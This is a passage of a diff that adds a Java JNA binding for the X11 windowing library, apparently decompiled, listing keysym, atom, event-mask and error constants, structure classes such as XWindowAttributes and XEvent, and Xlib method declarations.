+  public static final int XK_Z = 90;
+  
+  public static final int XK_a = 97;
+  
+  public static final int XK_z = 122;
+  
+  public static final int XK_Shift_L = 65505;
+  
+  public static final int XK_Shift_R = 65505;
+  
+  public static final int XK_Control_L = 65507;
+  
+  public static final int XK_Control_R = 65508;
+  
+  public static final int XK_CapsLock = 65509;
+  
+  public static final int XK_ShiftLock = 65510;
+  
+  public static final int XK_Meta_L = 65511;
+  
+  public static final int XK_Meta_R = 65512;
+  
+  public static final int XK_Alt_L = 65513;
+  
+  public static final int XK_Alt_R = 65514;
+  
+  public static final int VisualNoMask = 0;
+  
+  public static final int VisualIDMask = 1;
+  
+  public static final int VisualScreenMask = 2;
+  
+  public static final int VisualDepthMask = 4;
+  
+  public static final int VisualClassMask = 8;
+  public static final int VisualRedMaskMask = 16;
+  public static final int VisualGreenMaskMask = 32;
+  public static final int VisualBlueMaskMask = 64;
+  public static final int VisualColormapSizeMask = 128;
+  public static final int VisualBitsPerRGBMask = 256;
+  public static final int VisualAllMask = 511;
+  
+  public static class XInputClassInfoByReference
+    extends com.sun.jna.Structure
+    implements com.sun.jna.Structure.ByReference
+  {
+    public byte input_class;
+    public byte event_type_base;
+    
+    public XInputClassInfoByReference() {}
+  }
+  
+  public static class XDeviceByReference
+    extends com.sun.jna.Structure
+    implements com.sun.jna.Structure.ByReference
+  {
+    public X11.XID device_id;
+    public int num_classes;
+    public X11.XInputClassInfoByReference classes;
+    
+    public XDeviceByReference() {}
+  }
+  
+  public static class XWMHints
+    extends com.sun.jna.Structure
+  {
+    public NativeLong flags;
+    public boolean input;
+    public int initial_state;
+    public X11.Pixmap icon_pixmap;
+    public X11.Window icon_window;
+    public int icon_x;
+    public int icon_y;
+    public X11.Pixmap icon_mask;
+    public X11.XID window_group;
+    
+    public XWMHints() {}
+  }
+  
+  public static class XTextProperty
+    extends com.sun.jna.Structure
+  {
+    public String value;
+    public X11.Atom encoding;
+    public int format;
+    public NativeLong nitems;
+    
+    public XTextProperty() {}
+  }
+  
+  public static class XSizeHints
+    extends com.sun.jna.Structure
+  {
+    public NativeLong flags;
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int min_width;
+    public int min_height;
+    public int max_width;
+    public int max_height;
+    public int width_inc;
+    public int height_inc;
+    public Aspect min_aspect;
+    public Aspect max_aspect;
+    public int base_width;
+    public int base_height;
+    public int win_gravity;
+    
+    public XSizeHints() {}
+    
+    public static class Aspect
+      extends com.sun.jna.Structure
+    {
+      public int x;
+      public int y;
+      
+      public Aspect() {}
+    }
+  }
+  
+  public static class XWindowAttributes
+    extends com.sun.jna.Structure
+  {
+    public int x;
+    public int y;
+    public int width;
+    public int height;
+    public int border_width;
+    public int depth;
+    public X11.Visual visual;
+    public X11.Window root;
+    public int c_class;
+    public int bit_gravity;
+    public int win_gravity;
+    public int backing_store;
+    public NativeLong backing_planes;
+    public NativeLong backing_pixel;
+    public boolean save_under;
+    public X11.Colormap colormap;
+    public boolean map_installed;
+    public int map_state;
+    public NativeLong all_event_masks;
+    public NativeLong your_event_mask;
+    public NativeLong do_not_propagate_mask;
+    public boolean override_redirect;
+    public X11.Screen screen;
+    
+    public XWindowAttributes() {}
+  }
+  
+  public static class XSetWindowAttributes
+    extends com.sun.jna.Structure
+  {
+    public X11.Pixmap background_pixmap;
+    public NativeLong background_pixel;
+    public X11.Pixmap border_pixmap;
+    public NativeLong border_pixel;
+    public int bit_gravity;
+    public int win_gravity;
+    public int backing_store;
+    public NativeLong backing_planes;
+    public NativeLong backing_pixel;
+    public boolean save_under;
+    public NativeLong event_mask;
+    public NativeLong do_not_propagate_mask;
+    public boolean override_redirect;
+    public X11.Colormap colormap;
+    public X11.Cursor cursor;
+    
+    public XSetWindowAttributes() {}
+  }
+  
+  public static class XVisualInfo
+    extends com.sun.jna.Structure
+  {
+    public X11.Visual visual;
+    public X11.VisualID visualid;
+    public int screen;
+    public int depth;
+    public int c_class;
+    public NativeLong red_mask;
+    public NativeLong green_mask;
+    public NativeLong blue_mask;
+    public int colormap_size;
+    public int bits_per_rgb;
+    
+    public XVisualInfo() {}
+  }
+  
+  public static class XPoint
+    extends com.sun.jna.Structure
+  {
+    public short x;
+    public short y;
+    
+    public XPoint() {}
+    
+    public XPoint(short x, short y)
+    {
+      this.x = x;
+      this.y = y; } }
+  
+  public static class XRectangle extends com.sun.jna.Structure { public short x;
+    public short y;
+    
+    public XRectangle() {}
+    public short width;
+    
+    public XRectangle(short x, short y, short width, short height) { this.x = x;this.y = y;
+      this.width = width;this.height = height; }
+    
+    public short height; }
+  
+  public static final Atom XA_PRIMARY = new Atom(1L);
+  public static final Atom XA_SECONDARY = new Atom(2L);
+  public static final Atom XA_ARC = new Atom(3L);
+  public static final Atom XA_ATOM = new Atom(4L);
+  public static final Atom XA_BITMAP = new Atom(5L);
+  public static final Atom XA_CARDINAL = new Atom(6L);
+  public static final Atom XA_COLORMAP = new Atom(7L);
+  public static final Atom XA_CURSOR = new Atom(8L);
+  public static final Atom XA_CUT_BUFFER0 = new Atom(9L);
+  public static final Atom XA_CUT_BUFFER1 = new Atom(10L);
+  public static final Atom XA_CUT_BUFFER2 = new Atom(11L);
+  public static final Atom XA_CUT_BUFFER3 = new Atom(12L);
+  public static final Atom XA_CUT_BUFFER4 = new Atom(13L);
+  public static final Atom XA_CUT_BUFFER5 = new Atom(14L);
+  public static final Atom XA_CUT_BUFFER6 = new Atom(15L);
+  public static final Atom XA_CUT_BUFFER7 = new Atom(16L);
+  public static final Atom XA_DRAWABLE = new Atom(17L);
+  public static final Atom XA_FONT = new Atom(18L);
+  public static final Atom XA_INTEGER = new Atom(19L);
+  public static final Atom XA_PIXMAP = new Atom(20L);
+  public static final Atom XA_POINT = new Atom(21L);
+  public static final Atom XA_RECTANGLE = new Atom(22L);
+  public static final Atom XA_RESOURCE_MANAGER = new Atom(23L);
+  public static final Atom XA_RGB_COLOR_MAP = new Atom(24L);
+  public static final Atom XA_RGB_BEST_MAP = new Atom(25L);
+  public static final Atom XA_RGB_BLUE_MAP = new Atom(26L);
+  public static final Atom XA_RGB_DEFAULT_MAP = new Atom(27L);
+  public static final Atom XA_RGB_GRAY_MAP = new Atom(28L);
+  public static final Atom XA_RGB_GREEN_MAP = new Atom(29L);
+  public static final Atom XA_RGB_RED_MAP = new Atom(30L);
+  public static final Atom XA_STRING = new Atom(31L);
+  public static final Atom XA_VISUALID = new Atom(32L);
+  public static final Atom XA_WINDOW = new Atom(33L);
+  public static final Atom XA_WM_COMMAND = new Atom(34L);
+  public static final Atom XA_WM_HINTS = new Atom(35L);
+  public static final Atom XA_WM_CLIENT_MACHINE = new Atom(36L);
+  public static final Atom XA_WM_ICON_NAME = new Atom(37L);
+  public static final Atom XA_WM_ICON_SIZE = new Atom(38L);
+  public static final Atom XA_WM_NAME = new Atom(39L);
+  public static final Atom XA_WM_NORMAL_HINTS = new Atom(40L);
+  public static final Atom XA_WM_SIZE_HINTS = new Atom(41L);
+  public static final Atom XA_WM_ZOOM_HINTS = new Atom(42L);
+  public static final Atom XA_MIN_SPACE = new Atom(43L);
+  public static final Atom XA_NORM_SPACE = new Atom(44L);
+  public static final Atom XA_MAX_SPACE = new Atom(45L);
+  public static final Atom XA_END_SPACE = new Atom(46L);
+  public static final Atom XA_SUPERSCRIPT_X = new Atom(47L);
+  public static final Atom XA_SUPERSCRIPT_Y = new Atom(48L);
+  public static final Atom XA_SUBSCRIPT_X = new Atom(49L);
+  public static final Atom XA_SUBSCRIPT_Y = new Atom(50L);
+  public static final Atom XA_UNDERLINE_POSITION = new Atom(51L);
+  public static final Atom XA_UNDERLINE_THICKNESS = new Atom(52L);
+  public static final Atom XA_STRIKEOUT_ASCENT = new Atom(53L);
+  public static final Atom XA_STRIKEOUT_DESCENT = new Atom(54L);
+  public static final Atom XA_ITALIC_ANGLE = new Atom(55L);
+  public static final Atom XA_X_HEIGHT = new Atom(56L);
+  public static final Atom XA_QUAD_WIDTH = new Atom(57L);
+  public static final Atom XA_WEIGHT = new Atom(58L);
+  public static final Atom XA_POINT_SIZE = new Atom(59L);
+  public static final Atom XA_RESOLUTION = new Atom(60L);
+  public static final Atom XA_COPYRIGHT = new Atom(61L);
+  public static final Atom XA_NOTICE = new Atom(62L);
+  public static final Atom XA_FONT_NAME = new Atom(63L);
+  public static final Atom XA_FAMILY_NAME = new Atom(64L);
+  public static final Atom XA_FULL_NAME = new Atom(65L);
+  public static final Atom XA_CAP_HEIGHT = new Atom(66L);
+  public static final Atom XA_WM_CLASS = new Atom(67L);
+  public static final Atom XA_WM_TRANSIENT_FOR = new Atom(68L);
+  public static final Atom XA_LAST_PREDEFINED = XA_WM_TRANSIENT_FOR;
+  
+
+  public abstract XSizeHints XAllocSizeHints();
+  
+
+  public abstract void XSetWMProperties(Display paramDisplay, Window paramWindow, String paramString1, String paramString2, String[] paramArrayOfString, int paramInt, XSizeHints paramXSizeHints, com.sun.jna.Pointer paramPointer1, com.sun.jna.Pointer paramPointer2);
+  
+
+  public abstract int XFree(com.sun.jna.Pointer paramPointer);
+  
+
+  public abstract Window XCreateSimpleWindow(Display paramDisplay, Window paramWindow, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6, int paramInt7);
+  
+
+  public abstract Pixmap XCreateBitmapFromData(Display paramDisplay, Window paramWindow, com.sun.jna.Pointer paramPointer, int paramInt1, int paramInt2);
+  
+
+  public abstract int XMapWindow(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XMapRaised(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XMapSubwindows(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XFlush(Display paramDisplay);
+  
+
+  public abstract int XSync(Display paramDisplay, boolean paramBoolean);
+  
+
+  public abstract int XEventsQueued(Display paramDisplay, int paramInt);
+  
+
+  public abstract int XPending(Display paramDisplay);
+  
+
+  public abstract int XUnmapWindow(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XDestroyWindow(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XCloseDisplay(Display paramDisplay);
+  
+
+  public abstract int XClearWindow(Display paramDisplay, Window paramWindow);
+  
+
+  public abstract int XClearArea(Display paramDisplay, Window paramWindow, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5);
+  
+
+  public abstract Pixmap XCreatePixmap(Display paramDisplay, Drawable paramDrawable, int paramInt1, int paramInt2, int paramInt3);
+  
+
+  public abstract int XFreePixmap(Display paramDisplay, Pixmap paramPixmap);
+  
+
+  public abstract GC XCreateGC(Display paramDisplay, Drawable paramDrawable, NativeLong paramNativeLong, XGCValues paramXGCValues);
+  
+
+  public abstract int XSetFillRule(Display paramDisplay, GC paramGC, int paramInt);
+  
+
+  public abstract int XFreeGC(Display paramDisplay, GC paramGC);
+  
+
+  public abstract int XDrawPoint(Display paramDisplay, Drawable paramDrawable, GC paramGC, int paramInt1, int paramInt2);
+  
+
+  public abstract int XDrawPoints(Display paramDisplay, Drawable paramDrawable, GC paramGC, XPoint[] paramArrayOfXPoint, int paramInt1, int paramInt2);
+  
+
+  public abstract int XFillRectangle(Display paramDisplay, Drawable paramDrawable, GC paramGC, int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  
+
+  public abstract int XFillRectangles(Display paramDisplay, Drawable paramDrawable, GC paramGC, XRectangle[] paramArrayOfXRectangle, int paramInt);
+  
+
+  public abstract int XSetForeground(Display paramDisplay, GC paramGC, NativeLong paramNativeLong);
+  
+
+  public abstract int XSetBackground(Display paramDisplay, GC paramGC, NativeLong paramNativeLong);
+  
+
+  public abstract int XFillArc(Display paramDisplay, Drawable paramDrawable, GC paramGC, int paramInt1, int paramInt2, int paramInt3, int paramInt4, int paramInt5, int paramInt6);
+  
+
+  public abstract int XFillPolygon(Display paramDisplay, Drawable paramDrawable, GC paramGC, XPoint[] paramArrayOfXPoint, int paramInt1, int paramInt2, int paramInt3);
+  
+
+  public abstract int XQueryTree(Display paramDisplay, Window paramWindow, WindowByReference paramWindowByReference1, WindowByReference paramWindowByReference2, com.sun.jna.ptr.PointerByReference paramPointerByReference, com.sun.jna.ptr.IntByReference paramIntByReference);
+  
+
+  public abstract boolean XQueryPointer(Display paramDisplay, Window paramWindow, WindowByReference paramWindowByReference1, WindowByReference paramWindowByReference2, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2, com.sun.jna.ptr.IntByReference paramIntByReference3, com.sun.jna.ptr.IntByReference paramIntByReference4, com.sun.jna.ptr.IntByReference paramIntByReference5);
+  
+
+  public abstract int XGetWindowAttributes(Display paramDisplay, Window paramWindow, XWindowAttributes paramXWindowAttributes);
+  
+
+  public abstract int XChangeWindowAttributes(Display paramDisplay, Window paramWindow, NativeLong paramNativeLong, XSetWindowAttributes paramXSetWindowAttributes);
+  
+
+  public abstract int XGetGeometry(Display paramDisplay, Drawable paramDrawable, WindowByReference paramWindowByReference, com.sun.jna.ptr.IntByReference paramIntByReference1, com.sun.jna.ptr.IntByReference paramIntByReference2, com.sun.jna.ptr.IntByReference paramIntByReference3, com.sun.jna.ptr.IntByReference paramIntByReference4, com.sun.jna.ptr.IntByReference paramIntByReference5, com.sun.jna.ptr.IntByReference paramIntByReference6);
+  
+
+  public static final int None = 0;
+  
+  public static final int ParentRelative = 1;
+  
+  public static final int CopyFromParent = 0;
+  
+  public static final int PointerWindow = 0;
+  
+  public static final int InputFocus = 1;
+  
+  public static final int PointerRoot = 1;
+  
+  public static final int AnyPropertyType = 0;
+  
+  public static final int AnyKey = 0;
+  
+  public static final int AnyButton = 0;
+  
+  public static final int AllTemporary = 0;
+  
+  public static final int CurrentTime = 0;
+  
+  public static final int NoSymbol = 0;
+  
+  public static final int NoEventMask = 0;
+  
+  public static final int KeyPressMask = 1;
+  
+  public static final int KeyReleaseMask = 2;
+  
+  public static final int ButtonPressMask = 4;
+  
+  public static final int ButtonReleaseMask = 8;
+  
+  public static final int EnterWindowMask = 16;
+  
+  public static final int LeaveWindowMask = 32;
+  
+  public static final int PointerMotionMask = 64;
+  
+  public static final int PointerMotionHintMask = 128;
+  
+  public static final int Button1MotionMask = 256;
+  
+  public static final int Button2MotionMask = 512;
+  
+  public static final int Button3MotionMask = 1024;
+  
+  public static final int Button4MotionMask = 2048;
+  
+  public static final int Button5MotionMask = 4096;
+  
+  public static final int ButtonMotionMask = 8192;
+  
+  public static final int KeymapStateMask = 16384;
+  
+  public static final int ExposureMask = 32768;
+  
+  public static final int VisibilityChangeMask = 65536;
+  
+  public static final int StructureNotifyMask = 131072;
+  
+  public static final int ResizeRedirectMask = 262144;
+  
+  public static final int SubstructureNotifyMask = 524288;
+  
+  public static final int SubstructureRedirectMask = 1048576;
+  
+  public static final int FocusChangeMask = 2097152;
+  
+  public static final int PropertyChangeMask = 4194304;
+  
+  public static final int ColormapChangeMask = 8388608;
+  
+  public static final int OwnerGrabButtonMask = 16777216;
+  
+  public static final int KeyPress = 2;
+  
+  public static final int KeyRelease = 3;
+  
+  public static final int ButtonPress = 4;
+  
+  public static final int ButtonRelease = 5;
+  
+  public static final int MotionNotify = 6;
+  
+  public static final int EnterNotify = 7;
+  
+  public static final int LeaveNotify = 8;
+  
+  public static final int FocusIn = 9;
+  
+  public static final int FocusOut = 10;
+  
+  public static final int KeymapNotify = 11;
+  
+  public static final int Expose = 12;
+  
+  public static final int GraphicsExpose = 13;
+  
+  public static final int NoExpose = 14;
+  
+  public static final int VisibilityNotify = 15;
+  
+  public static final int CreateNotify = 16;
+  
+  public static final int DestroyNotify = 17;
+  
+  public static final int UnmapNotify = 18;
+  
+  public static final int MapNotify = 19;
+  
+  public static final int MapRequest = 20;
+  
+  public static final int ReparentNotify = 21;
+  
+  public static final int ConfigureNotify = 22;
+  
+  public static final int ConfigureRequest = 23;
+  
+  public static final int GravityNotify = 24;
+  
+  public static final int ResizeRequest = 25;
+  
+  public static final int CirculateNotify = 26;
+  
+  public static final int CirculateRequest = 27;
+  
+  public static final int PropertyNotify = 28;
+  
+  public static final int SelectionClear = 29;
+  
+  public static final int SelectionRequest = 30;
+  
+  public static final int SelectionNotify = 31;
+  
+  public static final int ColormapNotify = 32;
+  
+  public static final int ClientMessage = 33;
+  
+  public static final int MappingNotify = 34;
+  
+  public static final int LASTEvent = 35;
+  
+  public static final int ShiftMask = 1;
+  
+  public static final int LockMask = 2;
+  
+  public static final int ControlMask = 4;
+  
+  public static final int Mod1Mask = 8;
+  
+  public static final int Mod2Mask = 16;
+  
+  public static final int Mod3Mask = 32;
+  
+  public static final int Mod4Mask = 64;
+  
+  public static final int Mod5Mask = 128;
+  
+  public static final int ShiftMapIndex = 0;
+  
+  public static final int LockMapIndex = 1;
+  
+  public static final int ControlMapIndex = 2;
+  
+  public static final int Mod1MapIndex = 3;
+  
+  public static final int Mod2MapIndex = 4;
+  
+  public static final int Mod3MapIndex = 5;
+  
+  public static final int Mod4MapIndex = 6;
+  
+  public static final int Mod5MapIndex = 7;
+  
+  public static final int Button1Mask = 256;
+  
+  public static final int Button2Mask = 512;
+  
+  public static final int Button3Mask = 1024;
+  
+  public static final int Button4Mask = 2048;
+  
+  public static final int Button5Mask = 4096;
+  
+  public static final int AnyModifier = 32768;
+  
+  public static final int Button1 = 1;
+  
+  public static final int Button2 = 2;
+  
+  public static final int Button3 = 3;
+  
+  public static final int Button4 = 4;
+  
+  public static final int Button5 = 5;
+  
+  public static final int NotifyNormal = 0;
+  
+  public static final int NotifyGrab = 1;
+  
+  public static final int NotifyUngrab = 2;
+  
+  public static final int NotifyWhileGrabbed = 3;
+  
+  public static final int NotifyHint = 1;
+  
+  public static final int NotifyAncestor = 0;
+  
+  public static final int NotifyVirtual = 1;
+  
+  public static final int NotifyInferior = 2;
+  
+  public static final int NotifyNonlinear = 3;
+  
+  public static final int NotifyNonlinearVirtual = 4;
+  
+  public static final int NotifyPointer = 5;
+  
+  public static final int NotifyPointerRoot = 6;
+  
+  public static final int NotifyDetailNone = 7;
+  
+  public static final int VisibilityUnobscured = 0;
+  
+  public static final int VisibilityPartiallyObscured = 1;
+  
+  public static final int VisibilityFullyObscured = 2;
+  
+  public static final int PlaceOnTop = 0;
+  
+  public static final int PlaceOnBottom = 1;
+  
+  public static final int FamilyInternet = 0;
+  
+  public static final int FamilyDECnet = 1;
+  
+  public static final int FamilyChaos = 2;
+  
+  public static final int FamilyInternet6 = 6;
+  
+  public static final int FamilyServerInterpreted = 5;
+  
+  public static final int PropertyNewValue = 0;
+  
+  public static final int PropertyDelete = 1;
+  
+  public static final int ColormapUninstalled = 0;
+  
+  public static final int ColormapInstalled = 1;
+  
+  public static final int GrabModeSync = 0;
+  
+  public static final int GrabModeAsync = 1;
+  
+  public static final int GrabSuccess = 0;
+  
+  public static final int AlreadyGrabbed = 1;
+  
+  public static final int GrabInvalidTime = 2;
+  
+  public static final int GrabNotViewable = 3;
+  
+  public static final int GrabFrozen = 4;
+  
+  public static final int AsyncPointer = 0;
+  
+  public static final int SyncPointer = 1;
+  
+  public static final int ReplayPointer = 2;
+  
+  public static final int AsyncKeyboard = 3;
+  
+  public static final int SyncKeyboard = 4;
+  
+  public static final int ReplayKeyboard = 5;
+  
+  public static final int AsyncBoth = 6;
+  
+  public static final int SyncBoth = 7;
+  
+  public static final int RevertToNone = 0;
+  
+  public static final int RevertToPointerRoot = 1;
+  
+  public static final int RevertToParent = 2;
+  
+  public static final int Success = 0;
+  
+  public static final int BadRequest = 1;
+  
+  public static final int BadValue = 2;
+  
+  public static final int BadWindow = 3;
+  
+  public static final int BadPixmap = 4;
+  
+  public static final int BadAtom = 5;
+  
+  public static final int BadCursor = 6;
+  
+  public static final int BadFont = 7;
+  
+  public static final int BadMatch = 8;
+  
+  public static final int BadDrawable = 9;
+  
+  public static final int BadAccess = 10;
+  
+  public static final int BadAlloc = 11;
+  
+  public static final int BadColor = 12;
+  
+  public static final int BadGC = 13;
+  
+  public static final int BadIDChoice = 14;
+  
+  public static final int BadName = 15;
+  
+  public static final int BadLength = 16;
+  
+  public static final int BadImplementation = 17;
+  
+  public static final int FirstExtensionError = 128;
+  
+  public static final int LastExtensionError = 255;
+  public static final int InputOutput = 1;
+  public static final int InputOnly = 2;
+  public static final int CWBackPixmap = 1;
+  public static final int CWBackPixel = 2;
+  public static final int CWBorderPixmap = 4;
+  public static final int CWBorderPixel = 8;
+  public static final int CWBitGravity = 16;
+  public static final int CWWinGravity = 32;
+  public static final int CWBackingStore = 64;
+  public static final int CWBackingPlanes = 128;
+  public static final int CWBackingPixel = 256;
+  public static final int CWOverrideRedirect = 512;
+  public static final int CWSaveUnder = 1024;
+  public static final int CWEventMask = 2048;
+  public static final int CWDontPropagate = 4096;
+  public static final int CWColormap = 8192;
+  public static final int CWCursor = 16384;
+  public static final int CWX = 1;
+  public static final int CWY = 2;
+  public static final int CWWidth = 4;
+  public static final int CWHeight = 8;
+  public static final int CWBorderWidth = 16;
+  public static final int CWSibling = 32;
+  public static final int CWStackMode = 64;
+  public static final int ForgetGravity = 0;
+  public static final int NorthWestGravity = 1;
+  public static final int NorthGravity = 2;
+  public static final int NorthEastGravity = 3;
+  public static final int WestGravity = 4;
+  public static final int CenterGravity = 5;
+  public static final int EastGravity = 6;
+  public static final int SouthWestGravity = 7;
+  public static final int SouthGravity = 8;
+  public static final int SouthEastGravity = 9;
+  public static final int StaticGravity = 10;
+  public static final int UnmapGravity = 0;
+  public static final int NotUseful = 0;
+  public static final int WhenMapped = 1;
+  public static final int Always = 2;
+  public static final int IsUnmapped = 0;
+  public static final int IsUnviewable = 1;
+  public static final int IsViewable = 2;
+  public static final int SetModeInsert = 0;
+  public static final int SetModeDelete = 1;
+  public static final int DestroyAll = 0;
+  public static final int RetainPermanent = 1;
+  public static final int RetainTemporary = 2;
+  public static final int Above = 0;
+  public static final int Below = 1;
+  public static final int TopIf = 2;
+  public static final int BottomIf = 3;
+  public static final int Opposite = 4;
+  public static final int RaiseLowest = 0;
+  public static final int LowerHighest = 1;
+  public static final int PropModeReplace = 0;
+  public static final int PropModePrepend = 1;
+  public static final int PropModeAppend = 2;
+  public static final int GXclear = 0;
+  public static final int GXand = 1;
+  public static final int GXandReverse = 2;
+  public static final int GXcopy = 3;
+  public static final int GXandInverted = 4;
+  public static final int GXnoop = 5;
+  public static final int GXxor = 6;
+  public static final int GXor = 7;
+  public static final int GXnor = 8;
+  public static final int GXequiv = 9;
+  public static final int GXinvert = 10;
+  public static final int GXorReverse = 11;
+  public static final int GXcopyInverted = 12;
+  public static final int GXorInverted = 13;
+  public static final int GXnand = 14;
+  public static final int GXset = 15;
+  public static final int LineSolid = 0;
+  public static final int LineOnOffDash = 1;
+  public static final int LineDoubleDash = 2;
+  public static final int CapNotLast = 0;
+  public static final int CapButt = 1;
+  public static final int CapRound = 2;
+  public static final int CapProjecting = 3;
+  public static final int JoinMiter = 0;
+  public static final int JoinRound = 1;
+  public static final int JoinBevel = 2;
+  public static final int FillSolid = 0;
+  public static final int FillTiled = 1;
+  public static final int FillStippled = 2;
+  public static final int FillOpaqueStippled = 3;
+  public static final int EvenOddRule = 0;
+  public static final int WindingRule = 1;
+  public static final int ClipByChildren = 0;
+  public static final int IncludeInferiors = 1;
+  public static final int Unsorted = 0;
+  public static final int YSorted = 1;
+  public static final int YXSorted = 2;
+  public static final int YXBanded = 3;
+  public static final int CoordModeOrigin = 0;
+  public static final int CoordModePrevious = 1;
+  public static final int Complex = 0;
+  public static final int Nonconvex = 1;
+  public static final int Convex = 2;
+  public static final int ArcChord = 0;
+  public static final int ArcPieSlice = 1;
+  public static final int GCFunction = 1;
+  public static final int GCPlaneMask = 2;
+  public static final int GCForeground = 4;
+  public static final int GCBackground = 8;
+  public static final int GCLineWidth = 16;
+  public static final int GCLineStyle = 32;
+  public static final int GCCapStyle = 64;
+  public static final int GCJoinStyle = 128;
+  public static final int GCFillStyle = 256;
+  public static final int GCFillRule = 512;
+  public static final int GCTile = 1024;
+  public static final int GCStipple = 2048;
+  public static final int GCTileStipXOrigin = 4096;
+  public static final int GCTileStipYOrigin = 8192;
+  public static final int GCFont = 16384;
+  public static final int GCSubwindowMode = 32768;
+  public static final int GCGraphicsExposures = 65536;
+  public static final int GCClipXOrigin = 131072;
+  public static final int GCClipYOrigin = 262144;
+  public static final int GCClipMask = 524288;
+  public static final int GCDashOffset = 1048576;
+  public static final int GCDashList = 2097152;
+  public static final int GCArcMode = 4194304;
+  public static final int GCLastBit = 22;
+  public static final int FontLeftToRight = 0;
+  public static final int FontRightToLeft = 1;
+  public static final int FontChange = 255;
+  public static final int XYBitmap = 0;
+  public static final int XYPixmap = 1;
+  public static final int ZPixmap = 2;
+  public static final int AllocNone = 0;
+  public static final int AllocAll = 1;
+  public static final int DoRed = 1;
+  public static final int DoGreen = 2;
+  public static final int DoBlue = 4;
+  public static final int CursorShape = 0;
+  public static final int TileShape = 1;
+  public static final int StippleShape = 2;
+  public static final int AutoRepeatModeOff = 0;
+  public static final int AutoRepeatModeOn = 1;
+  public static final int AutoRepeatModeDefault = 2;
+  public static final int LedModeOff = 0;
+  public static final int LedModeOn = 1;
+  public static final int KBKeyClickPercent = 1;
+  public static final int KBBellPercent = 2;
+  public static final int KBBellPitch = 4;
+  public static final int KBBellDuration = 8;
+  public static final int KBLed = 16;
+  public static final int KBLedMode = 32;
+  public static final int KBKey = 64;
+  public static final int KBAutoRepeatMode = 128;
+  public static final int MappingSuccess = 0;
+  public static final int MappingBusy = 1;
+  public static final int MappingFailed = 2;
+  public static final int MappingModifier = 0;
+  public static final int MappingKeyboard = 1;
+  public static final int MappingPointer = 2;
+  public static final int DontPreferBlanking = 0;
+  public static final int PreferBlanking = 1;
+  public static final int DefaultBlanking = 2;
+  public static final int DisableScreenSaver = 0;
+  public static final int DisableScreenInterval = 0;
+  public static final int DontAllowExposures = 0;
+  public static final int AllowExposures = 1;
+  public static final int DefaultExposures = 2;
+  public static final int ScreenSaverReset = 0;
+  public static final int ScreenSaverActive = 1;
+  public static final int HostInsert = 0;
+  public static final int HostDelete = 1;
+  public static final int EnableAccess = 1;
+  public static final int DisableAccess = 0;
+  public static final int StaticGray = 0;
+  public static final int GrayScale = 1;
+  public static final int StaticColor = 2;
+  public static final int PseudoColor = 3;
+  public static final int TrueColor = 4;
+  public static final int DirectColor = 5;
+  public static final int LSBFirst = 0;
+  public static final int MSBFirst = 1;
+  
+  public static class XGCValues
+    extends com.sun.jna.Structure
+  {
+    public int function;
+    public NativeLong plane_mask;
+    public NativeLong foreground;
+    public NativeLong background;
+    public int line_width;
+    public int line_style;
+    public int cap_style;
+    public int join_style;
+    public int fill_style;
+    public int fill_rule;
+    public int arc_mode;
+    public X11.Pixmap tile;
+    public X11.Pixmap stipple;
+    public int ts_x_origin;
+    public int ts_y_origin;
+    public X11.Font font;
+    public int subwindow_mode;
+    public boolean graphics_exposures;
+    public int clip_x_origin;
+    public int clip_y_origin;
+    public X11.Pixmap clip_mask;
+    public int dash_offset;
+    public byte dashes;
+    
+    public XGCValues() {}
+  }
+  
+  public static class XEvent
+    extends com.sun.jna.Union
+  {
+    public int type;
+    public X11.XAnyEvent xany;
+    public X11.XKeyEvent xkey;
+    public X11.XButtonEvent xbutton;
+    public X11.XMotionEvent xmotion;
+    public X11.XCrossingEvent xcrossing;
+    public X11.XFocusChangeEvent xfocus;
+    public X11.XExposeEvent xexpose;
+    public X11.XGraphicsExposeEvent xgraphicsexpose;
+    public X11.XNoExposeEvent xnoexpose;
+    public X11.XVisibilityEvent xvisibility;
+    public X11.XCreateWindowEvent xcreatewindow;
+    public X11.XDestroyWindowEvent xdestroywindow;
+    public X11.XUnmapEvent xunmap;
+    public X11.XMapEvent xmap;
+    public X11.XMapRequestEvent xmaprequest;
+    public X11.XReparentEvent xreparent;
+    public X11.XConfigureEvent xconfigure;
+    public X11.XGravityEvent xgravity;
+    public X11.XResizeRequestEvent xresizerequest;
+    public X11.XConfigureRequestEvent xconfigurerequest;
+    public X11.XCirculateEvent xcirculate;
+    public X11.XCirculateRequestEvent xcirculaterequest;
+    public X11.XPropertyEvent xproperty;
+    public X11.XSelectionClearEvent xselectionclear;
+    public X11.XSelectionRequestEvent xselectionrequest;
+    public X11.XSelectionEvent xselection;
+    public X11.XColormapEvent xcolormap;
+    public X11.XClientMessageEvent xclient;
+    public X11.XMappingEvent xmapping;
+    public X11.XErrorEvent xerror;
+    public X11.XKeymapEvent xkeymap;
+    
+    public XEvent() {}
+    
+    public NativeLong[] pad = new NativeLong[24];
+    
+     }
+  
+  public static class XAnyEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    
+    public XAnyEvent() {} }
+  
+  public static class XKeyEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Window root;
+    public X11.Window subwindow;
+    public NativeLong time;
+    public int x;
+    public int y;
+    public int x_root;
+    public int y_root;
+    public int state;
+    public int keycode;
+    public int same_screen;
+    
+    public XKeyEvent() {} }
+  
+  public static class XButtonEvent extends com.sun.jna.Structure { public int type;
+    public NativeLong serial;
+    public int send_event;
+    public X11.Display display;
+    public X11.Window window;
+    public X11.Window root;
+    public X11.Window subwindow;
+    public NativeLong time;
+    public int x;
+    public int y;
+    public int x_root;
+    public int y_root;
+    public int state;
+    public int button;
+    public int same_screen;
+    
+    public XButtonEvent() {} }
+  
+  public static class XButtonPressedEvent extends X11.XButtonEvent { public XButtonPressedEvent() {} }
+  
+  public static class XButtonReleasedEvent extends X11.XButtonEvent { public XButtonReleasedEvent() {} }
+  
+  public static class XClientMessageEvent extends com.sun.jna.Structure { public int type;
